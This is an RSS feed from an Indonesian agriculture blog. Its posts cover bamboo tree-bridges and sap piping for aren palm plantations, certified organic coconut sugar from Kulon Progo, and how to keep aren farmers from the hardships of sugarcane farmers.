<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Dian Kusumanto</title>
	<atom:link href="http://diankusumanto.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://diankusumanto.com</link>
	<description>If there is a will - there is a way</description>
	<pubDate>Sun, 25 Apr 2010 22:31:14 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
	<language>en</language>
			<item>
		<title>MENERAPKAN JEMBATANISASI DAN PIPANISASI NIRA AREN PADA PERKEBUNAN AREN</title>
		<link>http://diankusumanto.com/?p=34</link>
		<comments>http://diankusumanto.com/?p=34#comments</comments>
		<pubDate>Sun, 25 Apr 2010 22:31:14 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=34</guid>
		<description><![CDATA[MENERAPKAN JEMBATANISASI DAN PIPANISASI NIRA AREN PADA PERKEBUNAN AREN
Oleh : Dian Kusumanto
Selama ini Aren (Arenga pinnata) ditanam secara alamiah, apa adanya yang tumbuh dari alam. Sangat jarang yang menanamnya secara sengaja dengan jarak tanam yang teratur. Buktinya, sebaran tanaman Aren yang ada selama ini tidak memiliki jarak yang teratur, kadang mengumpul dan rapat di suatu [...]]]></description>
			<content:encoded><![CDATA[<p>MENERAPKAN JEMBATANISASI DAN PIPANISASI NIRA AREN PADA PERKEBUNAN AREN</p>
<p>Oleh : Dian Kusumanto</p>
<p>Selama ini Aren (Arenga pinnata) ditanam secara alamiah, apa adanya yang tumbuh dari alam. Sangat jarang yang menanamnya secara sengaja dengan jarak tanam yang teratur. Buktinya, sebaran tanaman Aren yang ada selama ini tidak memiliki jarak yang teratur, kadang mengumpul dan rapat di suatu tempat dengan jarak yang saling berdekatan, namun di tempat lain jaraknya saling berjauhan bahkan kosong.</p>
<p>Dengan keadaan yang tidak teratur ini menyebabkan pengelolaan niranya menjadi sangat rumit dan butuh tenaga yang banyak. Penanganan kebun seperti ini akan membutuhkan waktu yang banyak, karena tenaga menjadi kurang efektif dan kurang efisien, akibatnya kapasitas tenaga penyadapannya rendah. Pada keadaan kebun Aren yang tidak beraturan seperti ini setiap orang tenaga penyadap paling-paling hanya sanggup menangani 10-20 pohon Aren saja setiap harinya (pagi dan sore), yang dilakukan oleh tenaga yang terlatih dan berpengalaman. Kalau tenaga yang baru dan belum berpengalaman mungkin hanya bisa menyadap 5-10 pohon saja.<br />
<img src="http://3.bp.blogspot.com/_Vt4Q5s4ZQjw/S6l_wKBXxgI/AAAAAAAABws/sIWLBhOYBTA/s320/Jembatanisasi-kebun-AREN-1.jpg" alt="" width="320" height="133" /><br />
Selain itu mutu Nira Aren juga relative sulit terjaga mutunya, apalagi jika letak kebun dan tempat pengolahannya jaraknya jauh. Hal ini karena Nira Aren perlu penanganan cepat dan teliti, apalagi kalau tidak diperlakukan khusus, dalam waktu 4-5 jam Nira sudah mengalami fermentasi secara alami. Kualitas Nira Aren yang menurun akibat terfermentasi ini menyebabkan beberapa perubahan, antara lain :<br />
• pH nya menurun atau semakin asam (kecut)<br />
• Kadar gulanya menurun, akibat aktifitas enzimatik yang merubah Sukrosa menjadi<br />
Gula-gula tereduksi dan bahan lainnya.<br />
• Rasa dan aromanya berubah dari aslinya<br />
• Dan lain-lain.</p>
<p>Jika Nira Aren akan diolah menjadi Gula, maka perubahan sifat atau penurunan mutu Nira ini harus dicegah jangan sampai terjadi. Tentu ini akan sangat sulit jika dilakukan pada kebun Aren yang tidak beraturan. Maka untuk membangun industry Aren yang efisien, yang paling utama dan pertama adalah harus dilakukan membangun kebun Aren dengan pola perkebunan yang intensif dan modern. Ciri dari perkebunan yang modern adalah diterapkannya Jembatanisasi dan Pipanisasi Nira di Kebun Aren.<br />
Jembatanisasi Kebun Aren</p>
<p>Ide Jembatanisasi Aren ini sebenarnya terinspirasi dari Jembatanisasi yang dilakukan oleh Petani Siwalan di Tuban Jawa Timur. Disana ada sebagian Petani yang sangat kreatif yang menerapkannya pada tanaman Siwalan yang ditanam secara berbaris dipinggir pematang kebunnya. Jarak antar pohon sekitar 4 - 6 meter, sedangkan jembatan antar pohon dibuat dari 2 lonjor bamboo dan diikat dengan tali dari pelepah daun yang dipilin. Bambu dipilih sebagai bahan pembuatan jembatan karena bamboo banyak tersedia di sekitarnya.</p>
<p><img src="http://1.bp.blogspot.com/_Vt4Q5s4ZQjw/S6l_vjjX-1I/AAAAAAAABwk/T3FGvz6CNRU/s320/Jembatanisasi-kebun-AREN.jpg" alt="" width="320" height="133" /></p>
<p>Dari pohon ke pohon yang saling berdekatan (dengan jarak antara 4 - 6 meter) dipasang 2 (dua) baris bamboo yang sambung menyambung dari satu pohon ke pohon lain sampai di pohon yang paling ujung. Penyadap nira hanya memanjat naik pada satu pohon di awal, berpindah ke pohon satu ke pohon berikutnya melalui jembatan bamboo yang dibuat di atas pohon, dan kemudian turun pada pohon yang paling ujung. Sedang untuk naik dan turunnya wadah penampung nira dan niranya, mereka menggunakan tali yang ditarik ulur dari atas atau dari bawah pohon.</p>
<p>Dengan cara jembatanisasi ini petani bisa menghemat tenaganya dan dapat meningkatkan kecepatan dan kapasitas kerja penyadapan sehingga jumlah pohon yang dapat disadap pada rentang waktu tertentu menjadi lebih banyak.</p>
<p>Ternyata metode jembatanisasi ini juga diterapkan di salah satu perkebunan kelapa di Phillippina. Perkebunan ini menanam pohon kelapa genjah dengan agak rapat, karena mengolah nira kelapa untuk aneka produk seperti gula, saguer, dll. Menurut Ir. Larahuna Rauf yang pernah melakukan magang pada tahun 1990-an, Jembatan antar pohon kelapa dibuat dari tali logam yang kuat (kawat seling). Ada tiga tali yang diikat dari pohon ke pohon, yaitu satu tali di bawah sebagai injakan kaki, sedangkan dua tali yang agak berjauhan di sebelah atas sebagai pegangan tangan pada saat menyeberang dari pohon satu ke pohon lainnya.</p>
<p>Kalau Jembatanisasi ini diterapkan pada kebun Aren, maka bahan jembatan bisa dibuat dari bamboo, tali dari Ijuk Aren, kayu dari pohon yang ada di sekitar kebun, atau bahkan kawat seling yang kuat. Kalau dibuat dari tali Ijuk, talinya harus dipilin dengan baik, agak besar dan kuat sehingga aman dan bisa menopang berat badan dan gerakan para pemanjat. Tali yang terbuat dari Ijuk Aren dikenal sangat tahan dan awet tidak lekang oleh perubahan cuaca, kecuali terbakar oleh api.</p>
<p>Namun jembatan atau pegangan tangan bisa juga dibuat dari pelepah daun dari dua pohon yang dipertemukan atau disatukan dan kemudian diikat. Hal ini hanya bisa dilakukan pada awal penyadapan pada saat tandan bunga yang disadap berada di atas dekat dengan letak susunan daun. Namun jika penyadapan nanti dilakukan agak ke bawah dan ke bawah lagi, dimana tidak ada daun yang bisa ditautkan, maka jembatan atau pegangan dibuat dari bamboo atau tali saja.</p>
<p>Jembatan harus dibuat kuat supaya tidak membuat celaka pemanjatnya. Namun jembatan harus dibuat fleksibel supaya bisa diatur (diturunkan) tingkat ketinggiannya disesuaikan dengan letak tandan yang disadap. Hal ini karena sasaran sadap, yaitu tandan bunga yang disadap berpindah dari tandan yang di atas kemudian menurun ke bawah. Jadi jembatan harus bisa mengikuti level dari tandan yang disadap.</p>
<p>Jembatanisasi bisa diterapkan jika pohon ditanam teratur dengan jarak antar pohon cukup dekat. Jarak paling dekat yang bisa ditoleransi berbeda menurut jenis pohonnya. Yang menjadi pertimbangan penting adalah lebar kanopi daun, atau panjang dan bentuk pelepah daunnya. Di bawah ini disajikan table untuk alternative jarak tanam untuk penerapan jembatanisasi beberapa jenis tanaman palem yang dikelola niranya untuk Gula dan lain-lain :</p>
<p><img src="http://3.bp.blogspot.com/_Vt4Q5s4ZQjw/S6l_w84c1rI/AAAAAAAABw8/3J6G1h_aPGw/s320/Bahan-Jembatan-Kebun-AREN.jpg" alt="" width="320" height="191" /><br />
Untuk kebun yang akan menterapkan jembatanisasi sebaiknya dipilih rancangan jarak tanam yang paling pendek, semakin dekat semakin aman bagi pemanjat. Karena jika semakin jauh maka semakin riskan. Namun ini bisa dibuat aman dan tidak riskan dengan :<br />
1. Bahan berpijak yang kuat tidak rapuh, bergoyang dan licin<br />
2. Diikat kuat dan diberi pengamanan yang cukup<br />
3. Dilengkapi dengan pegangan untuk tangan yang tidak mudah goyang dan kuat.<br />
Beberapa pilihan bahan jembatan antar pohon serta keuntungan dan kekurangannya, disajikan dalam table sebagai berikut :<br />
<img src="http://1.bp.blogspot.com/_Vt4Q5s4ZQjw/S6l_we6Y2-I/AAAAAAAABw0/3tDM-3ofrqI/s320/Jenis-Bahan-Jembatanisasi-K.jpg" alt="" width="320" height="183" /></p>
<p>MENERAPKAN JEMBATANISASI DAN PIPANISASI NIRA AREN PADA PERKEBUNAN AREN (2)</p>
<p>Oleh : Dian Kusumanto</p>
<p>Dengan menerapkan jembatanisasi antar pohon dan sekaligus pipanisasi nira sampai ke tempat pengolahan, maka banyak sekali keuntungan yang akan diperoleh. Sebab banyak sekali pekerjaan yang biasanya dilakukan pada pola konvenvensional tidak dilakukan lagi. Waktu yang diperlukan untuk mengerjakan penyadapan hingga nira sampai di penampungan menjadi lebih pendek, sehingga setiap pekerja bisa mengerjakan dengan jumlah pohon yang lebih banyak.</p>
<p>Selain itu adalah mutu nira lebih baik dan lebih alami, karena nira langsung mengalir dan ditampung ditempat pengolahan dalam waktu singkat. Nira tidak lagi mengalami perubahan karena terkumpul tanpa perlakukan selama sekitar 10-14 jam di wadah penampungan nira system tradisional. Dengan demikian mutu gula pasti lebih baik dan tentu akan menaikkan nilai daya saing dan nilai jualnya.</p>
<p>Di bawah ini adalah rincian jenis pekerjaan para pekerja penyadapan yang akan dilakukan pada system penyadapan tradisional dan pada system penyadapan yang menerapkan jembatanisasi dan pipanisasi nira pada perkebunan Aren, sebagai berikut :</p>
<p><img src="http://4.bp.blogspot.com/_Vt4Q5s4ZQjw/S7Elmi_u5GI/AAAAAAAABz0/6hXbdwWO450/s320/Jembatan-%26-Pipanisasii.jpg" alt="" width="246" height="320" /></p>
<p>PIPANISASI NIRA</p>
<p>Pipanisasi yang dimaksud adalah menampung kemudian menyalurkan nira melalui pipa yang sambung menyambung dari atas pohon menuju ke pipa penyaluran dari pohon ke pohon kemudian menuju pipa yang lebih besar untuk disalurkan ke tempat penampungan dan pengolahan nira secara terus menerus.</p>
<p>Dengan pipanisasi nira, maka diharapkan akan mengurangi beberapa item pekerjaan, dengan demikian juga akan mengurangi tenaga kerja, antara lain :<br />
• Membawa naik dan turun wadah penampung nira dari dan ke atas pohon<br />
• Membawa turun nira dari atas pohon ke bawah sampai ke tempat penampungan sementara<br />
• Mengangkut dan membawa nira ke tempat penampungan terakhir dan ke tempat pengolahan<br />
• Membersihkan wadah dari sisa-sisa nira yang mungkin dapat memicu fermentasi<br />
• Menambahkan bahan-bahan pengawet nira<br />
• Mengontrol mutu nira seperti memeriksa pH nira, kadar gula, kadar air, dll.</p>
<p>Penghematan tenaga dan jenis pekerjaan di atas terjadi karena nira tidak lagi ditampung dengan wadah, tetapi langsung dialirkan melalui selang/ plastic roll/ pipa langsung dari atas pohon menuju ke penampungan nira dan bahkan langsung ke tempat pengolahan atau pemasakan nira.<br />
Dengan penerapan pipanisasi maka pola yang dulu dilakukan secara tradisional akan dilakukan beberapa perubahan atau modifikasi pada beberapa hal sebagai berikut :</p>
<p>• Setelah dilakukan pengirisan / penderesan tandan bunga, tetesan nira yang mengalir dari tubuh pohon aren ini tidak lagi ditampung pada wadah, tetapi nira langsung diarahkan ke pipa melalui semacam corong yang akan mengalirkan nira ke pipa atau selang plastic. Kemudian nira mengalir ke pipa yang menghubungkan pohon satu dengan pohon yang lain, maka bertemulah nira dari pohon pertama dengan pohon yang selanjutnya, dan seterusnya, kemudian nira mengalir secara gravitasi menuju pipa yang lebih besar yaitu pipa antar barisan pohon.<br />
• Jadi nira tidak diam atau tertampung pada wadah selama beberapa jam, namun terus mengalir menuju ke tempat penampungan dan pemrosesan selanutnya. Sehingga nira tidak sempat mengalami proses fermentasi seperti jika ditapung di suatu wadah hingga beberapa jam. Lamanya nira di wadah penampung nira pada pola konvensional adalah :<br />
a. Jika pagi jam 7.00 disadap dan diambil sore pukul 5.00 berarti nira tertahan selama 10 jam.<br />
b. Jika sore jam 5.00 disadap dan diambil pagi jam 7.00, berarti nira sudah tertahan di dalam wadah selama 14 jam.</p>
<p>Dengan adanya pipanisasi, nira akan mengalir dari pohon ke penampungan akhir dengan waktu yang relative lebih pendek, tergantung pada model instalasi pipa dan juga kecepatan pengaliran niranya. Waktu yang diperlukan diperkirakan kurang dari satu jam, artinya adalah jauh lebih singkat dibanding 10 atau 14 jam dalam wadah pada pola konvensional.</p>
<p>Hal ini sangat menguntungkan bagi kualitas nira, karena masa nira bersinggungan dengan wadah/ media penyalur di dalam corong, pipa kecil dan pipa besar sampai ke penampungan menjadi sangat minim dengan waktu yang lebih singkat. Maka kemungkina terjadinya perubahan kualitas nira menjadi sangat minimal, sebab nira baru akan mengalami perubahan sifat dan mutunya menurun setelah sekiatr 4 sampai 5 jam.<br />
Meskipun pipa yang dilalui ini juga sudah mengandung mikroba, namun karena tercuci terus atau dilalui oleh nira yang bersih dan baru keluar dari pohon secara terus menerus, maka wadah /pipa seolah dicuci dan dibilas dan masih bersih. Kecuali jika ada masa nira yang tidak mengalir / tersumbat / sehingga terhenti pada suatu tempat maka nira yang terhenti pada suatu tempat maka nira yang terhenti bisa terjadi proses fermentasi.<br />
Oleh karena itu control terhadap kondisi pipa dan kelancaran aliran nira ini nanti akan menjadi sangat penting dalam operasionalisasi pipanisasi nira. Justru yang terpenting adalah pada bahan/ jenis bahan dari apa pipa ini dibuat. Pipa diusahakan yang tidak menyebabkan mutu nira berubah seperti :</p>
<p>a. Aroma dari pipa yang berpengaruh pada aroma nira.<br />
b. Zat-zat dari pipa yang ikut terlarut dalam nira<br />
c. Pipa juga harus bisa melindungi nira dari cahaya matahari langsung atau cemaran                            kimia/ fisika dari luar.</p>
<p>Pipanisasi Nira yang sempurna memiliki tujuan atau keuntungan antara lain :<br />
1. Agar nira tidak mengalami perubahan sifat dan mutunya tetap bagus<br />
2. Nira akan cepat diproses/ diolah lebih lanjut<br />
3. Mengurangi sentuhan tangan manusia yang sulit dikontrol kebersihan &amp; hiegenitasnya.<br />
4. Aroma dan rasa nira tetap seperti aslinya.<br />
5. Penggunaan tenaga kerja lebih efisien dan ringan.<br />
6. Bisa menunjang industrialisasi Aren lebih maju dengan kualitas produk yang tinggi sehingga memiliki daya saing menghadapi produk dari luar, baik dalam mutu maupun harganya.<br />
7. Dengan mutu nira yang bagus maka mutu produk akhir akan bagus juga, selain mengurangi kemungkinan kesalahan dan beban kerja karena kerusakan nira serta produk, juga harga produk akan lebih baik.<br />
8. Nira lebih alami dan lebih terjaga kebersihan serta kemurniannya.</p>
<p>Untuk mencapai tujuan seperti di atas maka menjadi sangat penting artinya melakukan pengaturan dan penghitungan besarnya volume dan kecepatan aliran dari nira yang dihasilkan dari penyadapan pohon Aren. Dengan demikian ada keseimbangan antara input, volume nira yang dialirkan dan ukuran pipa yang menjadi sarana mengalirnya nira. Dijaga agar jangan sampai terjadi penyumbatan yang menyebabkan penggenangan atau mandegnya aliran nira. Oleh karena itu jaringan pipanisasi nira ini harus terus dikontrol, dipelihara dengan pembersihan secara berkala.</p>
<p>Bagaimana menurut Anda?</p>
<p>(Aren Foundation)</p>
<p><img src="http://1.bp.blogspot.com/_Vt4Q5s4ZQjw/S7ElnGINAoI/AAAAAAAABz8/Bd2tBckWSAc/s320/Pipanisasi-Nira-Maple17.jpg" alt="" width="320" height="240" /></p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=34</wfw:commentRss>
		</item>
		<item>
		<title>Gula Semut Tembus Pasar Amerika</title>
		<link>http://diankusumanto.com/?p=29</link>
		<comments>http://diankusumanto.com/?p=29#comments</comments>
		<pubDate>Mon, 31 Aug 2009 23:32:12 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=29</guid>
		<description><![CDATA[GULA KELAPA ORGANIK

Sunday, January 18, 2009
Gula Semut Tembus Pasar Amerika
Padi, buah-buahan, ataupun sayuran yang dihasilkan dengan pertanian organik? Sudah biasa! Tapi pernahkah mendengar penerapan sistem pertanian itu untuk menghasilkan gula kelapa?
Nah, itulah yang dilakukan para petani penderes yang tergabung dalam Jatirogo (Jaringan Petani Kulon Progo) di Kabupaten Kulon Progo, Yogyakarta. Gula kelapa organik produksi mereka [...]]]></description>
			<content:encoded><![CDATA[<p>GULA KELAPA ORGANIK<br />
<img class="alignleft size-full wp-image-30" title="kebun-kelapa-di-sebatik2" src="http://diankusumanto.com/wp-content/uploads/2009/09/kebun-kelapa-di-sebatik2.jpg" alt="" width="500" height="375" /><br />
Sunday, January 18, 2009<br />
Gula Semut Tembus Pasar Amerika</p>
<p>Padi, buah-buahan, ataupun sayuran yang dihasilkan dengan pertanian organik? Sudah biasa! Tapi pernahkah mendengar penerapan sistem pertanian itu untuk menghasilkan gula kelapa?<br />
Nah, itulah yang dilakukan para petani penderes yang tergabung dalam Jatirogo (Jaringan Petani Kulon Progo) di Kabupaten Kulon Progo, Yogyakarta. Gula kelapa organik produksi mereka bahkan telah menembus pasar Amerika, dan kini bersiap menembus pasar Negeri Sakura.</p>
<p>Secara fisik, gula kelapa organik yang diproduksi Jatirogo dibuat dengan wujud berbeda. Disebut gula semut, yaitu berbentuk butiran-butiran kecil seperti gula pasir. Tetapi, ada juga yang dibuat berbentuk silinder.<br />
Pembudidayaannya dilakukan dengan pupuk alami, proses pembuatan terkontrol dari alat, cara pengolahan, hingga penanganannya. Untuk menembus pasar mancanegara, tentu harus lolos uji standar dan sertifikasi mutu. September 2008 lalu, produk gula kelapa organik para petani Jatirogo telah mendapat sertifikat dari lembaga Control Union Belanda.</p>
<p>Selain itu, kontrol kualitas dilakukan juga melalui sistem kontrol internal atau ICS (Internal Controling System) oleh pengurus Jatirogo. ICS melakukan pengontrolan sarana, peralatan, dan proses pengolahan. Sedangkan dinas pertanian setempat mengontrol pemupukan.<br />
“Di luar Kulon Progo ada yang menggunakan zat kimia sebagai pengental agar warna lebih cerah kekuningan. Tapi dalam 3 hingga 5 hari akan meleleh. Sedangkan gula kelapa organic, pengentalan menggunakan bahan-bahan alami seperti laru dari getah manggis,” ungkap Hendrastuti, koordinator Jatirogo yang juga menjadi koordinator ICS.</p>
<p>Gula kelapa organik diproduksi oleh 1.260 petani penderes di empat kecamatan di Kulon Progo yaitu Lendah, Samigaluh, Kokap, dan Girimulyo. Tahun 2009 direncanakan akan masuk juga kecamatan Kalibawang. Untuk bisa masuk, suatu daerah harus mengubah pola pertaniannya menjadi organik dengan masa transisi tiga tahun agar kondisi tanah kembali organik. Ditargetkan, tahun 2009 Jatirogo akan mempunyai 3.000 anggota petani penghasil gula kelapa organik, dengan bergabungnya satu kecamatan itu.</p>
<p>Proses untuk mendapatkan sertifikat dari lembaga Control Union Belanda tidaklah mudah, harus melewati pengujian atau inspeksi yang ketat bahkan sampai pengambilan sampel tanah. “Jadi tidak main-main. Ada satu petani penderes yang di sekitar pohon kelapanya terdapat pohon rambutan yang dipupuk dengan pupuk kimia, akhirnya tidak lolos. Beberapa petani di Kecamatan Kokap di sekitar lokasi penambangan emas juga tidak lolos, karena dikhawatirkan tercemar logam merkuri,” papar Hendrastuti.</p>
<p>Proses sertifikasi Control Union pun tidak singkat, perlu waktu empat bulan dimulai Februari 2008. Mencakup sosialisasi dan pendaftaran petani yang dilanjutkan dengan inspeksi eksternal dari control union. Inspeksi meliputi kondisi tanah, tanaman, peralatan, dan dapur pengolahan. Dalam proses tersebut, pengurus Jatirogo mengikuti sehingga mengetahui bagaimana standar yang harus diterapkan pada saat menjalankan sistem kontrol internal (ICS). Sertifikat akhirnya keluar bulan September 2008 lalu dari lembaga penguji dari Belanda tersebut.</p>
<p>Hendrastuti mengakui, proses sertifikasi control union sangat berat dan ketat. “Kita bisa lolos karena memang lingkungan belum tercemar zat kimia. Air belum tercemar, dan sebagian besar berada di pegunungan. Selain itu di sekitarnya tidak terdapat persawahan yang kebanyakan telah tercemar pupuk kimia,” katanya. Pengurus Jatirogo bertanggung jawab mengontrol dan menjaga kualitas, termasuk mendorong petani menjaga peralatan dan dapur yang higienis. ”Pengurus Jatirogo tiga bulan sekali melakukan pelaporan pengecekan ICS. Juga melakukan pelatihan tungku sehat,” imbuhnya.</p>
<p>Jatirogo sendiri terbentuk tahun 2000 mencakup 12 kecamtan di Kulon Progo. Pada awalnya, mengembangkan tanaman padi organik dengan bibit padi lokal, bertujuan memperbaiki kondisi tanah. Sejak Juli 2008 Jatirogo mulai memproduksi gula kelapa organik dengan pemasaran ke sebuah perusahaan di Bali. Setelah lolos sertifikasi, pemasaran dapat menjangkau Amerika Serikat melalui perusahaan di Bali tersebut.</p>
<p>Kapasitas produksi untuk pengiriman ke Amerika sebanyak 20 ton per bulan. Ke depan pemasaran juga akan meluas ke Jepang yang saat ini sedang proses penjajakan pemesanan. “Konsumen dari Jepang juga berminat akan memesan,” ungkap Hendrastuti. Selain itu pasar lokal di Yogyakarta juga sudah berjalan meskipun kuantitasnya masih sedikit. Pengembangan pemasaran lokal akan dilakukan ke pusat-pusat perbelanjaan.</p>
<p>Pengelolaan gula kelapa organik yang dilakukan terkoordinasi dalam jaringan petani Jatirogo dimaksudkan agar dapat mengangkat kehidupan ekonomi para petani. Selain itu agar hasil kerja petani penderes bisa lebih dihargai. “Penderes itu kan harus kerja keras memanjat pohon kelapa. Itu berisiko. Bahkan hujan pun harus tetap memanjat untuk nderes (mengambil nira),” kata ibu dua anak tersebut.</p>
<p>Dengan dikelola secara terkoordinir dengan sistem pertanian organik, kehidupan para petani pun terangkat. Harga gula kelapa organik bisa lebih tinggi dari harga gula kelapa anorganik. Per kilogram harga jual dari petani bisa mencapai Rp 8 ribu, sedangkan anorganik saat ini hanya Rp 6.500.</p>
<p>Selain itu, dengan dikoordinir dalam jaringan Jatirogo, harga bisa terstandar dan stabil tidak terpengaruh naik turunnya harga gula di pasaran. “Pada saat harga gula di pasaran turun sampai Rp 4 ribu pun harga beli dari petani tetap harga standar Rp 8 ribu per kg,” ungkap Hendrastuti seraya manambahkan bahwa harga gula di pasaran selama setahun hanya bagus dua bulan saja. Dalam sehari rata-rata para petani gula kelapa organik Jatirogo dapat menghasilkan 2,5 hingga 3 kilogram gula.</p>
<p>Kendala yang dihadapi, kata Hendrastuti, disamping kendala peralatan adalah kurang bisa seragamnya hasil produksi karena dikerjakan oleh masing-masing petani penderes. “Tapi kita selalu melakukan pengecekan dan mendorong menghasilkan kualitas produk sebaik mungkin,” ungkap warga Turus, Tanjungharjo, Nanggulan, Kulon Progo tersebut. Sementara mengenai bantuan, dinas terkait diharapkan dapat memberikan bibit unggul lokal untuk regenerasi tanaman kelapa.</p>
<p>Kebanyakan pohon kelapa yang saat ini berproduksi adalah warisan dari petani generasi sebelumnya. Meski pohon kelapa dideres untuk menghasilkan gula, -yang berarti tidak bisa berbuah- namun para petani tetap dapat melakukan regenerasi pohon. “Dari semua pohon kelapa yang dimiliki tidak semuanya dideres. Ada beberapa pohon yang dibuahkan, itu bisa sebagai pembibitan,” ujar isteri dari Pujono tersebut.</p>
<p>Selain pengembangan gula kelapa organik di empat kecamatan itu, jaringan Petani Kulon Progo (Jatirogo) saat ini juga masih mengembangkan padi organik lokal di kecamatan lainnya. Jenis padi lokal yang diusahakan antara lain Menthik Wangi, Pandan Wangi, Menthik Susu, Somali, Slegreng, Beras Merah, Ketan Ireng, Wiji Lestari, Rening, dan Rojo Lele. “Jadi pengembangan pertanian organik dilakukan sesuai potensi masing-masing wilayah atau kecamatan. Seperti umbi-umbian organik di Kecamatan Pengasih, dan padi organik di Nanggulan dan Galur,” tandas koordinator Jatirogo yang telah berbadan hukum sejak tahun 2003 tersebut. –cahpesisiran utk majalah saudagar-</p>
<p>http://pesisiran-kidul.blogspot.com/2009/01/gula-semut-tembus-pasar-amerika.html</p>
<p><a href="http://diankusumanto.com/wp-content/uploads/2009/09/kebun-kelapa-di-sebatik2.jpg"><img class="alignleft size-full wp-image-30" title="kebun-kelapa-di-sebatik2" src="http://diankusumanto.com/wp-content/uploads/2009/09/kebun-kelapa-di-sebatik2.jpg" alt="" width="500" height="375" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://diankusumanto.com/?feed=rss2&amp;p=29</wfw:commentRss>
		</item>
		<item>
		<title>AGAR NASIB PETANI AREN TETAP MANIS</title>
		<link>http://diankusumanto.com/?p=27</link>
		<comments>http://diankusumanto.com/?p=27#comments</comments>
		<pubDate>Mon, 31 Aug 2009 17:01:14 +0000</pubDate>
		<dc:creator>Dian K</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://diankusumanto.com/?p=27</guid>
		<description><![CDATA[AGAR NASIB PETANI AREN TETAP MANIS
Oleh : Dian Kusumanto
Judul diatas terinspirasi dari tulisan dinding FB dari Ibu Evi Indrawanto sang Juragan Gula Aren dari Diva Maju Bersama Serpong.  Beliau bermitra dengan banyak petani Aren yang ada di daerah sekitar beliau tinggal.   Beliau sangat senang sekaligus  mengkhawatirkan mana kala  Revolusi  [...]]]></description>
			<content:encoded><![CDATA[<p><strong>AGAR NASIB PETANI AREN TETAP MANIS</p>
<p></strong>Oleh : Dian Kusumanto</p>
<p>Judul diatas terinspirasi dari tulisan dinding FB dari Ibu Evi Indrawanto sang Juragan Gula Aren dari Diva Maju Bersama Serpong.  Beliau bermitra dengan banyak petani Aren yang ada di daerah sekitar beliau tinggal.   Beliau sangat senang sekaligus  mengkhawatirkan mana kala  Revolusi  Aren nanti menjadi semarak seperti Tebu dan Sawit, nasib petaninya tidak seperti rasa gulanya yang manis.  Sepertinya Bu Evi ini adalah seorang Pengusaha yang sangat Nasionalist, bukan penganut Kapitalisme Laissez Faire, Kapitalisme yang membiarkan petani berhadapan dengan monster-monster Kapitalis yang siap menerkamnya.</p>
<p>Kata Bu Evi begini,  “ ……………..Kalau menyangkut revolusi aren, alhamdulillah bila Pak Prabowo mengujudkannya. Mudah2an ini bukan janji hanya selama kampanye. Tapi akhirnya perasaan saya jadi ambigu, Pak. Antara senang dan kuatir. Senang, jika aren sdh merebak saya tidak akan kekurangan bahan baku lagi. Kuatir, kalau suatu hari nasib petani aren akan seperti nasib petani tebu. Gula mereka manis tapi nasib mereka tidak seperti itu. Tidak tahu lah Pak, kita lihat saja apa yg akan terjadi. Sementara untuk usaha sendiri, dijejalin begitu banyak informasi, memiliki teman-teman yg perduli, saya tetap yakin selalu sukses&#8230;&#8230;&#8230;&#8230;..”.</p>
<p>Bagaimanapun petani adalah bagian masyarakat kita yang sangat lemah dan rentan terhadap perubahan-perubahan kebijakan, perubahan kondisi ekonomi, perubahan situasi politik.  Demikian juga petani Aren, yang selama ini juga belum diperhatikan, belum diberdayakan.  Namun perlu kita kembali ke belakang untuk melihat bagaimana sebenarnya yang terjadi pada petani tebu kita itu, salahnya dimana, sehingga petaninya bernasib tidak seperti rasa gulanya yang manis.  Setelah itu kita melihat ke depan melalui mata kepala petani Aren kita yang akan datang.</p>
<p>Kebanyakan petani tebu memang banyak kelemahannya sehingga nasibnya belum manis, mungkin antara lain karena hal-hal berikut ini :<br />
1.	Penguasaan lahan rata-rata petani yang masih sangat terbatas dan minim.  Rata-rata kepelikan lahan di Jawa hanya sekitar 0,2 - 0,4 hektar.<br />
2.	Produktifitas Tebu yang semakin menurun, sekarang hanya sekitar 7-8 ton Gula Hablur per hektar per musim.<br />
3.	Harga Gula tingkat petani tidak aman, tidak ada proteksi dan masih sering menjadi korban keadaan ekonomi.<br />
4.	Industri Gula Tebu kita yang sangat tidak efisien, baik pada penggunaan teknologi dan peralatan yang sudah usang, serta pola manajemen industri tebu yang tidak efisien.<br />
5.	Kebijakan Pemerintah yan belum sepenuhnya berpihak kepada Petani.<br />
6.	Posisi tawar dari petani tebu yang masih lemah dan sering dijadikan korban.<br />
7.	dll.</p>
<p>Saya rasa untuk pengembangan Revolusi Aren kita bisa bercermin kepada 6 hal diatas, agar nasib petani Aren kita tidak seperti nasib petani Tebu.   Namun kita semua akan sangat yakin bila petani Aren kita akan bisa hidup lebih baik dan tidak seperti nasib petani tebu.  Beberapa hal yang membuat kita sangat optimis adalah sebagai berikut :<br />
1.	Produktifitas dari Aren sendiri secara indogen yang sangat bagus.  Tinggal bagaimana kita bisa memilihkan jenis bibit yang memang berpotensi produksi tinggi.   Dengan pohon yang tidak dipelihara dan dengan jumlah pohon yang sedikit  saja petani Aren sudah mendapatkan hasil yang lumayan, apalagi jika dilakukan pemeliharaan yang baik dan dengan jumlah pohon yang dipanen lebih banyak, tentu hasilnya akan sangat luar biasa.  Tidaklah terlalu berlebihan seandainya setiap pohon menghasilkan nira 10 liter per hari, dan tidak berlebihan seandainya dari 200 pohon dalam setiap hektar yang rutin menghasilkan nira adalah 50% atau 100 pohon, jadi setiap hari dari setiap hektar kebun aren akan menghasilkan 1.000 liter nira.<br />
Kalau pohon dirawat dengan baik dan standar tentu tidak sulit untuk meningkatkan hasil nira menjadi 20 liter/hari/hektar, dan meningkatkan pohon yang bisa dipanen sekitar 80 % atau 160 pohon setiap hari, maka hasilnya bisa meningkat menjadi 3.200 liter/hari/hektar.</p>
